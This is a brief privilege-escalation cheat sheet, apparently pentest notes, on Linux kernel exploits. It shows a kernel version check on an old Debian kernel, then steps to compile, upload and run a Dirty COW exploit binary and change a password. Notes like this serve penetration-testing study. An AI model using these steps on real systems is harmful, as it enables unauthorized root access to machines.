Kernel Exploits

The Kernel is essentially a computer program that controls everything in the system. It facilitates the interactions between hardware and software components. If we exploit the Ke…

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Kernel Exploits

Overview

The Kernel is essentially a computer program that controls everything in the system. It facilitates the interactions between hardware and software components. If we exploit the Kernel (system/core) we become the Kernel >:)

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Kernel version

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01uname -a
02Linux debian 2.6.32-5-amd64

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Dirty COW

Compile

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01gcc -pthread dirty.c -o c0w

Upload and run

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01./c0w
02passwd